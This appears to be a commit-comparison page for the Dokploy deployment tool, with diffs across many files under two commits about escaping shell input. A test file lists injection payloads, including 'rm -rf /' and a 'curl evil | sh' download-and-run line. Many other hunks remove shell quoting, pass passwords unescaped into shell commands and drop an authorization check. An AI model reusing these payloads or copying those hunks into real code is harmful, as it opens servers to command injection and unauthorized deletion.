Compare commits

..

2 Commits

Author SHA1 Message Date
Mauricio Siu
35c30a1210 test: assert domain payload never parses as a shell operator (drop literal check)
quote() legitimately wraps the payload text inside single quotes, so the raw
substring is present but inert. leaksShellSyntax (via shell-quote parse) is the
correct assertion; the literal not.toContain check was wrong.
2026-07-20 16:07:11 -06:00
Mauricio Siu
a83b2026f6 fix(security): escape compose domain error message to prevent command injection
writeDomainsToCompose returns a shell fragment that is executed as part of the
compose build script. On error it interpolated error.message (which embeds the
user-controlled serviceName/host) directly into an echo, so a serviceName like
$(cmd) executed as root. Escape the message with quote().
2026-07-20 16:01:47 -06:00
45 changed files with 180 additions and 437 deletions

View File

@@ -0,0 +1,68 @@
import { parse } from "shell-quote";
import { describe, expect, it, vi } from "vitest";
// writeDomainsToCompose reads the on-disk compose file; mock fs so the file
// "exists" but does not contain the attacker's service, forcing the error path
// whose message embeds the user-controlled serviceName.
vi.mock("node:fs", async (importOriginal) => {
const actual = await importOriginal<typeof import("node:fs")>();
return {
...actual,
existsSync: () => true,
readFileSync: () => "services:\n web:\n image: nginx\n",
};
});
import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain";
const baseCompose = {
appName: "my-app",
serverId: null,
composeType: "docker-compose",
sourceType: "raw",
composePath: "docker-compose.yml",
isolatedDeployment: false,
randomize: false,
suffix: "",
} as any;
const makeDomain = (serviceName: string) =>
({
host: "example.com",
serviceName,
https: false,
uniqueConfigKey: 1,
port: 3000,
}) as any;
// If the returned shell fragment is safe, parse() yields only string tokens.
// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token.
const leaksShellSyntax = (command: string, marker: string) =>
parse(command).some(
(t) => typeof t !== "string" && JSON.stringify(t).includes(marker),
);
describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => {
it("does not let a malicious serviceName inject shell operators", async () => {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain("$(touch /tmp/pwned)"),
]);
// The service does not exist in the compose, so we hit the error branch.
expect(result).toContain("Has occurred an error");
// The payload text may appear inside the single-quoted echo argument, but
// it must never parse as a shell operator ($(), backtick, ; …).
expect(leaksShellSyntax(result, "touch")).toBe(false);
});
it("neutralizes backtick and semicolon payloads too", async () => {
for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) {
const result = await writeDomainsToCompose(baseCompose, [
makeDomain(`svc${payload}`),
]);
expect(leaksShellSyntax(result, "rm")).toBe(false);
expect(leaksShellSyntax(result, "curl")).toBe(false);
expect(leaksShellSyntax(result, "id")).toBe(false);
}
});
});

View File

@@ -1,10 +1,8 @@
import { cloneGitRepository } from "@dokploy/server/utils/providers/git"; import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
import { parse, quote } from "shell-quote"; import { shellWord } from "@dokploy/server/utils/providers/utils";
import { parse } from "shell-quote";
import { describe, expect, it } from "vitest"; import { describe, expect, it } from "vitest";
// How git-provider commands escape a single user value before it reaches the shell.
const shellArg = (value: string) => quote([String(value ?? "")]);
// Payloads that, if reached a shell unescaped, would execute commands. // Payloads that, if reached a shell unescaped, would execute commands.
const INJECTION_PAYLOADS = [ const INJECTION_PAYLOADS = [
"$(touch /tmp/pwned)", "$(touch /tmp/pwned)",
@@ -26,10 +24,10 @@ const LEGIT_VALUES = [
"https://gitlab.example.com/group/sub/project.git", "https://gitlab.example.com/group/sub/project.git",
]; ];
describe("git provider shell escaping (quote)", () => { describe("shellWord (git provider shell escaping)", () => {
it("collapses every injection payload into a single literal token (no shell operators)", () => { it("collapses every injection payload into a single literal token (no shell operators)", () => {
for (const payload of INJECTION_PAYLOADS) { for (const payload of INJECTION_PAYLOADS) {
const parsed = parse(shellArg(payload)); const parsed = parse(shellWord(payload));
// A safely escaped value parses back to exactly the original string, // A safely escaped value parses back to exactly the original string,
// as ONE token. If escaping failed, parse() would emit operator // as ONE token. If escaping failed, parse() would emit operator
// objects such as { op: ";" } or { op: "$(" } instead. // objects such as { op: ";" } or { op: "$(" } instead.
@@ -39,7 +37,7 @@ describe("git provider shell escaping (quote)", () => {
it("leaves legitimate URLs and branch names intact", () => { it("leaves legitimate URLs and branch names intact", () => {
for (const value of LEGIT_VALUES) { for (const value of LEGIT_VALUES) {
expect(parse(shellArg(value))).toEqual([value]); expect(parse(shellWord(value))).toEqual([value]);
} }
}); });
}); });

View File

@@ -84,19 +84,19 @@ export const ComposeActions = ({ composeId }: Props) => {
)} )}
{canDeploy && ( {canDeploy && (
<DialogAction <DialogAction
title="Rebuild Compose" title="Reload Compose"
description="Are you sure you want to rebuild this compose?" description="Are you sure you want to reload this compose?"
type="default" type="default"
onClick={async () => { onClick={async () => {
await redeploy({ await redeploy({
composeId: composeId, composeId: composeId,
}) })
.then(() => { .then(() => {
toast.success("Compose rebuilt successfully"); toast.success("Compose reloaded successfully");
refetch(); refetch();
}) })
.catch(() => { .catch(() => {
toast.error("Error rebuilding compose"); toast.error("Error reloading compose");
}); });
}} }}
> >
@@ -109,14 +109,12 @@ export const ComposeActions = ({ composeId }: Props) => {
<TooltipTrigger asChild> <TooltipTrigger asChild>
<div className="flex items-center"> <div className="flex items-center">
<RefreshCcw className="size-4 mr-1" /> <RefreshCcw className="size-4 mr-1" />
Rebuild Reload
</div> </div>
</TooltipTrigger> </TooltipTrigger>
<TooltipPrimitive.Portal> <TooltipPrimitive.Portal>
<TooltipContent sideOffset={5} className="z-60"> <TooltipContent sideOffset={5} className="z-60">
<p> <p>Reload the compose without rebuilding it</p>
Rebuilds the compose without downloading the source code
</p>
</TooltipContent> </TooltipContent>
</TooltipPrimitive.Portal> </TooltipPrimitive.Portal>
</Tooltip> </Tooltip>

View File

@@ -13,14 +13,10 @@ import {
} from "@/components/ui/card"; } from "@/components/ui/card";
import { api } from "@/utils/api"; import { api } from "@/utils/api";
import { HandleAi } from "./handle-ai"; import { HandleAi } from "./handle-ai";
import { HandleAiProviders } from "./handle-ai-providers";
export const AiForm = () => { export const AiForm = () => {
const { data: aiConfigs, refetch, isPending } = api.ai.getAll.useQuery(); const { data: aiConfigs, refetch, isPending } = api.ai.getAll.useQuery();
const { mutateAsync, isPending: isRemoving } = api.ai.delete.useMutation(); const { mutateAsync, isPending: isRemoving } = api.ai.delete.useMutation();
const { data: currentUser } = api.user.get.useQuery();
const isOrgAdmin =
currentUser?.role === "owner" || currentUser?.role === "admin";
return ( return (
<div className="w-full"> <div className="w-full">
@@ -34,10 +30,7 @@ export const AiForm = () => {
</CardTitle> </CardTitle>
<CardDescription>Manage your AI configurations</CardDescription> <CardDescription>Manage your AI configurations</CardDescription>
</div> </div>
<div className="flex flex-row gap-2"> {aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
{isOrgAdmin && <HandleAiProviders />}
{aiConfigs && aiConfigs?.length > 0 && <HandleAi />}
</div>
</CardHeader> </CardHeader>
<CardContent className="space-y-2 py-8 border-t"> <CardContent className="space-y-2 py-8 border-t">
{isPending ? ( {isPending ? (

View File

@@ -1,158 +0,0 @@
"use client";
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
import { PlusIcon, ServerIcon, Trash2 } from "lucide-react";
import { useEffect, useState } from "react";
import { useFieldArray, useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import {
Form,
FormControl,
FormField,
FormItem,
FormMessage,
} from "@/components/ui/form";
import { Input } from "@/components/ui/input";
import { api } from "@/utils/api";
const Schema = z.object({
providers: z.array(
z.object({
name: z.string().min(1, { message: "Name is required" }),
apiUrl: z.string().url({ message: "Please enter a valid URL" }),
}),
),
});
type Schema = z.infer<typeof Schema>;
export const HandleAiProviders = () => {
const utils = api.useUtils();
const [open, setOpen] = useState(false);
const { data: providers } = api.ai.getCustomProviders.useQuery();
const { mutateAsync, isPending } = api.ai.saveCustomProviders.useMutation();
const form = useForm<Schema>({
resolver: zodResolver(Schema),
defaultValues: {
providers: [],
},
});
const { fields, append, remove } = useFieldArray({
control: form.control,
name: "providers",
});
useEffect(() => {
if (open) {
form.reset({ providers: providers ?? [] });
}
}, [open, providers, form]);
const onSubmit = async (data: Schema) => {
try {
await mutateAsync({ providers: data.providers });
await utils.ai.getCustomProviders.invalidate();
toast.success("Custom providers saved successfully");
setOpen(false);
} catch (error) {
toast.error("Failed to save custom providers", {
description: error instanceof Error ? error.message : "Unknown error",
});
}
};
return (
<Dialog open={open} onOpenChange={setOpen}>
<DialogTrigger asChild>
<Button variant="outline" className="cursor-pointer space-x-3">
<ServerIcon className="h-4 w-4" />
Custom Presets
</Button>
</DialogTrigger>
<DialogContent className="sm:max-w-xl">
<DialogHeader>
<DialogTitle>Custom AI Providers</DialogTitle>
<DialogDescription>
Define your own AI providers, like an internal LLM platform. When at
least one is defined, only these providers can be used in AI
configurations.
</DialogDescription>
</DialogHeader>
<Form {...form}>
<form onSubmit={form.handleSubmit(onSubmit)} className="space-y-4">
{fields.length === 0 && (
<p className="text-sm text-muted-foreground">
No custom providers defined. The built-in provider list will be
used.
</p>
)}
{fields.map((fieldItem, index) => (
<div key={fieldItem.id} className="flex gap-2 items-start">
<FormField
control={form.control}
name={`providers.${index}.name`}
render={({ field }) => (
<FormItem className="flex-1">
<FormControl>
<Input placeholder="Internal LLM" {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name={`providers.${index}.apiUrl`}
render={({ field }) => (
<FormItem className="flex-[2]">
<FormControl>
<Input
placeholder="https://llm.internal.company/v1"
{...field}
/>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<Button
type="button"
variant="ghost"
size="icon"
className="group hover:bg-red-500/10"
onClick={() => remove(index)}
>
<Trash2 className="size-4 text-primary group-hover:text-red-500" />
</Button>
</div>
))}
<div className="flex justify-between">
<Button
type="button"
variant="outline"
onClick={() => append({ name: "", apiUrl: "" })}
>
<PlusIcon className="h-4 w-4" />
Add Provider
</Button>
<Button type="submit" isLoading={isPending}>
Save
</Button>
</div>
</form>
</Form>
</DialogContent>
</Dialog>
);
};

View File

@@ -99,11 +99,6 @@ export const HandleAi = ({ aiId }: Props) => {
enabled: !!aiId, enabled: !!aiId,
}, },
); );
const { data: customProviders } = api.ai.getCustomProviders.useQuery();
const hasCustomProviders = (customProviders?.length ?? 0) > 0;
const providerOptions: { name: string; apiUrl: string }[] = hasCustomProviders
? (customProviders ?? [])
: [...AI_PROVIDERS];
const { mutateAsync, isPending } = aiId const { mutateAsync, isPending } = aiId
? api.ai.update.useMutation() ? api.ai.update.useMutation()
: api.ai.create.useMutation(); : api.ai.create.useMutation();
@@ -215,9 +210,7 @@ export const HandleAi = ({ aiId }: Props) => {
<FormLabel>Provider</FormLabel> <FormLabel>Provider</FormLabel>
<Select <Select
onValueChange={(value) => { onValueChange={(value) => {
const provider = providerOptions.find( const provider = AI_PROVIDERS.find((p) => p.apiUrl === value);
(p) => p.apiUrl === value,
);
if (provider) { if (provider) {
form.setValue("name", provider.name); form.setValue("name", provider.name);
form.setValue("apiUrl", provider.apiUrl); form.setValue("apiUrl", provider.apiUrl);
@@ -229,20 +222,15 @@ export const HandleAi = ({ aiId }: Props) => {
<SelectValue placeholder="Select a provider preset..." /> <SelectValue placeholder="Select a provider preset..." />
</SelectTrigger> </SelectTrigger>
<SelectContent> <SelectContent>
{providerOptions.map((provider) => ( {AI_PROVIDERS.map((provider) => (
<SelectItem <SelectItem key={provider.apiUrl} value={provider.apiUrl}>
key={`${provider.name}-${provider.apiUrl}`}
value={provider.apiUrl}
>
{provider.name} {provider.name}
</SelectItem> </SelectItem>
))} ))}
</SelectContent> </SelectContent>
</Select> </Select>
<p className="text-[0.8rem] text-muted-foreground"> <p className="text-[0.8rem] text-muted-foreground">
{hasCustomProviders Quick-fill provider name and URL, or configure manually below
? "Select one of the providers defined by your organization"
: "Quick-fill provider name and URL, or configure manually below"}
</p> </p>
</div> </div>
@@ -272,7 +260,6 @@ export const HandleAi = ({ aiId }: Props) => {
<FormControl> <FormControl>
<Input <Input
placeholder="https://api.openai.com/v1" placeholder="https://api.openai.com/v1"
disabled={hasCustomProviders}
{...field} {...field}
onChange={(e) => { onChange={(e) => {
field.onChange(e); field.onChange(e);
@@ -284,9 +271,7 @@ export const HandleAi = ({ aiId }: Props) => {
/> />
</FormControl> </FormControl>
<FormDescription> <FormDescription>
{hasCustomProviders The base URL for your AI provider's API
? "The API URL is defined by your organization's providers"
: "The base URL for your AI provider's API"}
</FormDescription> </FormDescription>
<FormMessage /> <FormMessage />
</FormItem> </FormItem>

View File

@@ -100,7 +100,7 @@ export const Enable2FA = () => {
}); });
if (result.error) { if (result.error) {
if (result.error.code === "INVALID_CODE") { if (result.error.code === "INVALID_TWO_FACTOR_AUTHENTICATION") {
toast.error("Invalid verification code"); toast.error("Invalid verification code");
return; return;
} }

View File

@@ -648,7 +648,7 @@ function SidebarLogo() {
</SidebarMenuButton> </SidebarMenuButton>
</DropdownMenuTrigger> </DropdownMenuTrigger>
<DropdownMenuContent <DropdownMenuContent
className="w-64 rounded-lg max-h-[min(70vh,28rem)] flex flex-col" className="rounded-lg max-h-[min(70vh,28rem)] flex flex-col"
align="start" align="start"
side={isMobile ? "bottom" : "right"} side={isMobile ? "bottom" : "right"}
sideOffset={4} sideOffset={4}

View File

@@ -1,6 +1,6 @@
{ {
"name": "dokploy", "name": "dokploy",
"version": "v0.29.13", "version": "v0.29.12",
"private": true, "private": true,
"license": "Apache-2.0", "license": "Apache-2.0",
"type": "module", "type": "module",

View File

@@ -1,7 +1,6 @@
import { IS_CLOUD } from "@dokploy/server/constants"; import { IS_CLOUD } from "@dokploy/server/constants";
import { import {
apiCreateAi, apiCreateAi,
apiSaveAiCustomProviders,
apiUpdateAi, apiUpdateAi,
deploySuggestionSchema, deploySuggestionSchema,
} from "@dokploy/server/db/schema/ai"; } from "@dokploy/server/db/schema/ai";
@@ -14,9 +13,7 @@ import {
deleteAiSettings, deleteAiSettings,
getAiSettingById, getAiSettingById,
getAiSettingsByOrganizationId, getAiSettingsByOrganizationId,
getCustomAiProviders,
saveAiSettings, saveAiSettings,
saveCustomAiProviders,
suggestVariants, suggestVariants,
} from "@dokploy/server/services/ai"; } from "@dokploy/server/services/ai";
import { createComposeByTemplate } from "@dokploy/server/services/compose"; import { createComposeByTemplate } from "@dokploy/server/services/compose";
@@ -203,19 +200,6 @@ export const aiRouter = createTRPCRouter({
return await deleteAiSettings(input.aiId); return await deleteAiSettings(input.aiId);
}), }),
getCustomProviders: protectedProcedure.query(async ({ ctx }) => {
return await getCustomAiProviders(ctx.session.activeOrganizationId);
}),
saveCustomProviders: adminProcedure
.input(apiSaveAiCustomProviders)
.mutation(async ({ ctx, input }) => {
return await saveCustomAiProviders(
ctx.session.activeOrganizationId,
input.providers,
);
}),
getEnabledProviders: protectedProcedure.query(async ({ ctx }) => { getEnabledProviders: protectedProcedure.query(async ({ ctx }) => {
const settings = await getAiSettingsByOrganizationId( const settings = await getAiSettingsByOrganizationId(
ctx.session.activeOrganizationId, ctx.session.activeOrganizationId,

View File

@@ -49,7 +49,6 @@ import {
restoreWebServerBackup, restoreWebServerBackup,
} from "@dokploy/server/utils/restore"; } from "@dokploy/server/utils/restore";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { quote } from "shell-quote";
import { z } from "zod"; import { z } from "zod";
import { import {
createTRPCRouter, createTRPCRouter,
@@ -511,7 +510,7 @@ export const backupRouter = createTRPCRouter({
: input.search; : input.search;
const searchPath = baseDir ? `${bucketPath}/${baseDir}` : bucketPath; const searchPath = baseDir ? `${bucketPath}/${baseDir}` : bucketPath;
const listCommand = `rclone lsjson ${rcloneFlags.join(" ")} ${quote([searchPath])} --no-mimetype --no-modtime 2>/dev/null`; const listCommand = `rclone lsjson ${rcloneFlags.join(" ")} "${searchPath}" --no-mimetype --no-modtime 2>/dev/null`;
let stdout = ""; let stdout = "";

View File

@@ -10,7 +10,6 @@ import {
import { db } from "@dokploy/server/db"; import { db } from "@dokploy/server/db";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { desc, eq } from "drizzle-orm"; import { desc, eq } from "drizzle-orm";
import { quote } from "shell-quote";
import { createTRPCRouter, withPermission } from "@/server/api/trpc"; import { createTRPCRouter, withPermission } from "@/server/api/trpc";
import { audit } from "@/server/api/utils/audit"; import { audit } from "@/server/api/utils/audit";
import { import {
@@ -59,10 +58,10 @@ export const destinationRouter = createTRPCRouter({
} = input; } = input;
try { try {
const rcloneFlags = [ const rcloneFlags = [
`--s3-access-key-id=${quote([accessKey])}`, `--s3-access-key-id="${accessKey}"`,
`--s3-secret-access-key=${quote([secretAccessKey])}`, `--s3-secret-access-key="${secretAccessKey}"`,
`--s3-region=${quote([region])}`, `--s3-region="${region}"`,
`--s3-endpoint=${quote([endpoint])}`, `--s3-endpoint="${endpoint}"`,
"--s3-no-check-bucket", "--s3-no-check-bucket",
"--s3-force-path-style", "--s3-force-path-style",
"--retries 1", "--retries 1",
@@ -71,13 +70,13 @@ export const destinationRouter = createTRPCRouter({
"--contimeout 5s", "--contimeout 5s",
]; ];
if (provider) { if (provider) {
rcloneFlags.unshift(`--s3-provider=${quote([provider])}`); rcloneFlags.unshift(`--s3-provider="${provider}"`);
} }
if (additionalFlags?.length) { if (additionalFlags?.length) {
rcloneFlags.push(...additionalFlags); rcloneFlags.push(...additionalFlags);
} }
const rcloneDestination = `:s3:${bucket}`; const rcloneDestination = `:s3:${bucket}`;
const rcloneCommand = `rclone ls ${rcloneFlags.join(" ")} ${quote([rcloneDestination])}`; const rcloneCommand = `rclone ls ${rcloneFlags.join(" ")} "${rcloneDestination}"`;
if (IS_CLOUD && !input.serverId) { if (IS_CLOUD && !input.serverId) {
throw new TRPCError({ throw new TRPCError({

View File

@@ -5,7 +5,6 @@ import {
findRegistryById, findRegistryById,
IS_CLOUD, IS_CLOUD,
removeRegistry, removeRegistry,
safeDockerLoginCommand,
updateRegistry, updateRegistry,
} from "@dokploy/server"; } from "@dokploy/server";
import { db } from "@dokploy/server/db"; import { db } from "@dokploy/server/db";
@@ -123,11 +122,7 @@ export const registryRouter = createTRPCRouter({
if (input.serverId && input.serverId !== "none") { if (input.serverId && input.serverId !== "none") {
await execAsyncRemote( await execAsyncRemote(
input.serverId, input.serverId,
safeDockerLoginCommand( `echo ${input.password} | docker ${args.join(" ")}`,
input.registryUrl,
input.username,
input.password,
),
); );
} else { } else {
await execFileAsync("docker", args, { await execFileAsync("docker", args, {
@@ -187,11 +182,7 @@ export const registryRouter = createTRPCRouter({
if (input.serverId && input.serverId !== "none") { if (input.serverId && input.serverId !== "none") {
await execAsyncRemote( await execAsyncRemote(
input.serverId, input.serverId,
safeDockerLoginCommand( `echo ${registryData.password} | docker ${args.join(" ")}`,
registryData.registryUrl,
registryData.username,
registryData.password,
),
); );
} else { } else {
await execFileAsync("docker", args, { await execFileAsync("docker", args, {

View File

@@ -413,14 +413,6 @@ export const serverRouter = createTRPCRouter({
.input(apiRemoveServer) .input(apiRemoveServer)
.mutation(async ({ input, ctx }) => { .mutation(async ({ input, ctx }) => {
try { try {
const currentServer = await findServerById(input.serverId);
if (currentServer.organizationId !== ctx.session.activeOrganizationId) {
throw new TRPCError({
code: "UNAUTHORIZED",
message: "You are not authorized to delete this server",
});
}
const activeServers = await haveActiveServices(input.serverId); const activeServers = await haveActiveServices(input.serverId);
if (activeServers) { if (activeServers) {
@@ -429,6 +421,7 @@ export const serverRouter = createTRPCRouter({
message: "Server has active services, please delete them first", message: "Server has active services, please delete them first",
}); });
} }
const currentServer = await findServerById(input.serverId);
await audit(ctx, { await audit(ctx, {
action: "delete", action: "delete",
resourceType: "server", resourceType: "server",

View File

@@ -13,8 +13,6 @@ import { db } from "@dokploy/server/db";
import { import {
createVolumeBackupSchema, createVolumeBackupSchema,
updateVolumeBackupSchema, updateVolumeBackupSchema,
VOLUME_NAME_MESSAGE,
VOLUME_NAME_REGEX,
volumeBackups, volumeBackups,
} from "@dokploy/server/db/schema"; } from "@dokploy/server/db/schema";
import { findDestinationById } from "@dokploy/server/services/destination"; import { findDestinationById } from "@dokploy/server/services/destination";
@@ -277,10 +275,7 @@ export const volumeBackupsRouter = createTRPCRouter({
z.object({ z.object({
backupFileName: z.string().min(1), backupFileName: z.string().min(1),
destinationId: z.string().min(1), destinationId: z.string().min(1),
volumeName: z volumeName: z.string().min(1),
.string()
.min(1)
.regex(VOLUME_NAME_REGEX, VOLUME_NAME_MESSAGE),
id: z.string().min(1), id: z.string().min(1),
serviceType: z.enum(["application", "compose"]), serviceType: z.enum(["application", "compose"]),
serverId: z.string().optional(), serverId: z.string().optional(),

View File

@@ -54,15 +54,6 @@ export const apiUpdateAi = createSchema
}) })
.omit({ organizationId: true }); .omit({ organizationId: true });
export const aiCustomProviderSchema = z.object({
name: z.string().min(1, { message: "Name is required" }),
apiUrl: z.string().url({ message: "Please enter a valid URL" }),
});
export const apiSaveAiCustomProviders = z.object({
providers: z.array(aiCustomProviderSchema),
});
export const deploySuggestionSchema = z.object({ export const deploySuggestionSchema = z.object({
environmentId: z.string().min(1), environmentId: z.string().min(1),
id: z.string().min(1), id: z.string().min(1),

View File

@@ -41,12 +41,6 @@ export const APP_NAME_REGEX = /^[a-zA-Z0-9._-]+$/;
export const APP_NAME_MESSAGE = export const APP_NAME_MESSAGE =
"App name can only contain letters, numbers, dots, underscores and hyphens"; "App name can only contain letters, numbers, dots, underscores and hyphens";
/** Docker volume name: must start alphanumeric, then letters/numbers/._- only. Safe for shell. */
export const VOLUME_NAME_REGEX = /^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/;
export const VOLUME_NAME_MESSAGE =
"Volume name must start with a letter or number and contain only letters, numbers, dots, underscores and hyphens";
/** Database password: blocks shell-dangerous characters like $ ! ' " \ / and spaces. */ /** Database password: blocks shell-dangerous characters like $ ! ' " \ / and spaces. */
export const DATABASE_PASSWORD_REGEX = export const DATABASE_PASSWORD_REGEX =
/^[a-zA-Z0-9@#%^&*()_+\-=[\]{}|;:,.<>?~`]*$/; /^[a-zA-Z0-9@#%^&*()_+\-=[\]{}|;:,.<>?~`]*$/;

View File

@@ -14,11 +14,7 @@ import { serviceType } from "./mount";
import { mysql } from "./mysql"; import { mysql } from "./mysql";
import { postgres } from "./postgres"; import { postgres } from "./postgres";
import { redis } from "./redis"; import { redis } from "./redis";
import { import { generateAppName } from "./utils";
generateAppName,
VOLUME_NAME_MESSAGE,
VOLUME_NAME_REGEX,
} from "./utils";
export const volumeBackups = pgTable("volume_backup", { export const volumeBackups = pgTable("volume_backup", {
volumeBackupId: text("volumeBackupId") volumeBackupId: text("volumeBackupId")
@@ -117,9 +113,7 @@ export const volumeBackupsRelations = relations(
}), }),
); );
export const createVolumeBackupSchema = createInsertSchema(volumeBackups, { export const createVolumeBackupSchema = createInsertSchema(volumeBackups).omit({
volumeName: z.string().regex(VOLUME_NAME_REGEX, VOLUME_NAME_MESSAGE),
}).omit({
volumeBackupId: true, volumeBackupId: true,
}); });

View File

@@ -419,7 +419,7 @@ const createBetterAuth = () =>
enableMetadata: true, enableMetadata: true,
references: "user", references: "user",
}), }),
sso({ trustEmailVerified: true }), sso(),
scim({ scim({
beforeSCIMTokenGenerated: async ({ user }) => { beforeSCIMTokenGenerated: async ({ user }) => {
const dbUser = await db.query.user.findFirst({ const dbUser = await db.query.user.findFirst({

View File

@@ -1,6 +1,5 @@
import { db } from "@dokploy/server/db"; import { db } from "@dokploy/server/db";
import { ai, organization } from "@dokploy/server/db/schema"; import { ai } from "@dokploy/server/db/schema";
import { aiCustomProviderSchema } from "@dokploy/server/db/schema/ai";
import { selectAIProvider } from "@dokploy/server/utils/ai/select-ai-provider"; import { selectAIProvider } from "@dokploy/server/utils/ai/select-ai-provider";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { generateText, Output } from "ai"; import { generateText, Output } from "ai";
@@ -49,74 +48,9 @@ export const getAiSettingById = async (aiId: string) => {
return aiSetting; return aiSetting;
}; };
type AiCustomProvider = z.infer<typeof aiCustomProviderSchema>;
const parseOrgMetadata = (metadata: string | null) => {
try {
const parsed = JSON.parse(metadata || "{}");
return typeof parsed === "object" && parsed !== null
? (parsed as Record<string, unknown>)
: {};
} catch {
return {};
}
};
export const getCustomAiProviders = async (organizationId: string) => {
const org = await db.query.organization.findFirst({
where: eq(organization.id, organizationId),
});
const metadata = parseOrgMetadata(org?.metadata ?? null);
const result = z
.array(aiCustomProviderSchema)
.safeParse(metadata.aiProviders);
return result.success ? result.data : [];
};
export const saveCustomAiProviders = async (
organizationId: string,
providers: AiCustomProvider[],
) => {
const org = await db.query.organization.findFirst({
where: eq(organization.id, organizationId),
});
if (!org) {
throw new TRPCError({
code: "NOT_FOUND",
message: "Organization not found",
});
}
const metadata = parseOrgMetadata(org.metadata);
metadata.aiProviders = providers;
await db
.update(organization)
.set({ metadata: JSON.stringify(metadata) })
.where(eq(organization.id, organizationId));
return providers;
};
const normalizeApiUrl = (url: string) => url.trim().replace(/\/+$/, "");
export const saveAiSettings = async (organizationId: string, settings: any) => { export const saveAiSettings = async (organizationId: string, settings: any) => {
const aiId = settings.aiId; const aiId = settings.aiId;
if (settings.apiUrl) {
const customProviders = await getCustomAiProviders(organizationId);
if (customProviders.length > 0) {
const isAllowed = customProviders.some(
(provider) =>
normalizeApiUrl(provider.apiUrl) === normalizeApiUrl(settings.apiUrl),
);
if (!isAllowed) {
throw new TRPCError({
code: "FORBIDDEN",
message:
"This API URL is not in your organization's allowed AI providers",
});
}
}
}
return db return db
.insert(ai) .insert(ai)
.values({ .values({

View File

@@ -9,7 +9,6 @@ import {
import { removeDirectoryIfExistsContent } from "@dokploy/server/utils/filesystem/directory"; import { removeDirectoryIfExistsContent } from "@dokploy/server/utils/filesystem/directory";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { eq } from "drizzle-orm"; import { eq } from "drizzle-orm";
import { quote } from "shell-quote";
import { stringify } from "yaml"; import { stringify } from "yaml";
import type { z } from "zod"; import type { z } from "zod";
import { encodeBase64 } from "../utils/docker/utils"; import { encodeBase64 } from "../utils/docker/utils";
@@ -64,7 +63,7 @@ export const removeCertificateById = async (certificateId: string) => {
const certDir = path.join(CERTIFICATES_PATH, certificate.certificatePath); const certDir = path.join(CERTIFICATES_PATH, certificate.certificatePath);
if (certificate.serverId) { if (certificate.serverId) {
await execAsyncRemote(certificate.serverId, `rm -rf ${quote([certDir])}`); await execAsyncRemote(certificate.serverId, `rm -rf ${certDir}`);
} else { } else {
await removeDirectoryIfExistsContent(certDir); await removeDirectoryIfExistsContent(certDir);
} }
@@ -109,10 +108,10 @@ const createCertificateFiles = async (certificate: Certificate) => {
const certificateData = encodeBase64(certificate.certificateData); const certificateData = encodeBase64(certificate.certificateData);
const privateKey = encodeBase64(certificate.privateKey); const privateKey = encodeBase64(certificate.privateKey);
const command = ` const command = `
mkdir -p ${quote([certDir])}; mkdir -p ${certDir};
echo "${certificateData}" | base64 -d > ${quote([crtPath])}; echo "${certificateData}" | base64 -d > "${crtPath}";
echo "${privateKey}" | base64 -d > ${quote([keyPath])}; echo "${privateKey}" | base64 -d > "${keyPath}";
echo "${yamlConfig}" > ${quote([configFile])}; echo "${yamlConfig}" > "${configFile}";
`; `;
await execAsyncRemote(certificate.serverId, command); await execAsyncRemote(certificate.serverId, command);

View File

@@ -18,7 +18,6 @@ import {
} from "@dokploy/server/utils/process/execAsync"; } from "@dokploy/server/utils/process/execAsync";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { eq, type SQL, sql } from "drizzle-orm"; import { eq, type SQL, sql } from "drizzle-orm";
import { quote } from "shell-quote";
import type { z } from "zod"; import type { z } from "zod";
export type Mount = typeof mounts.$inferSelect; export type Mount = typeof mounts.$inferSelect;
@@ -318,7 +317,7 @@ export const updateFileMount = async (mountId: string) => {
try { try {
const serverId = await getServerId(mount); const serverId = await getServerId(mount);
const encodedContent = encodeBase64(mount.content || ""); const encodedContent = encodeBase64(mount.content || "");
const command = `echo "${encodedContent}" | base64 -d > ${quote([fullPath])}`; const command = `echo "${encodedContent}" | base64 -d > ${fullPath}`;
if (serverId) { if (serverId) {
await execAsyncRemote(serverId, command); await execAsyncRemote(serverId, command);
} else { } else {
@@ -338,7 +337,7 @@ export const deleteFileMount = async (mountId: string) => {
try { try {
const serverId = await getServerId(mount); const serverId = await getServerId(mount);
if (serverId) { if (serverId) {
const command = `rm -rf ${quote([fullPath])}`; const command = `rm -rf ${fullPath}`;
await execAsyncRemote(serverId, command); await execAsyncRemote(serverId, command);
} else { } else {
await removeFileOrDirectory(fullPath); await removeFileOrDirectory(fullPath);

View File

@@ -1,7 +1,6 @@
import { join } from "node:path"; import { join } from "node:path";
import { paths } from "@dokploy/server/constants"; import { paths } from "@dokploy/server/constants";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { quote } from "shell-quote";
import { execAsync, execAsyncRemote } from "../utils/process/execAsync"; import { execAsync, execAsyncRemote } from "../utils/process/execAsync";
import { cloneBitbucketRepository } from "../utils/providers/bitbucket"; import { cloneBitbucketRepository } from "../utils/providers/bitbucket";
import { cloneGitRepository } from "../utils/providers/git"; import { cloneGitRepository } from "../utils/providers/git";
@@ -86,7 +85,7 @@ export const readPatchRepoDirectory = async (
serverId?: string | null, serverId?: string | null,
): Promise<DirectoryEntry[]> => { ): Promise<DirectoryEntry[]> => {
// Use git ls-tree to get tracked files only // Use git ls-tree to get tracked files only
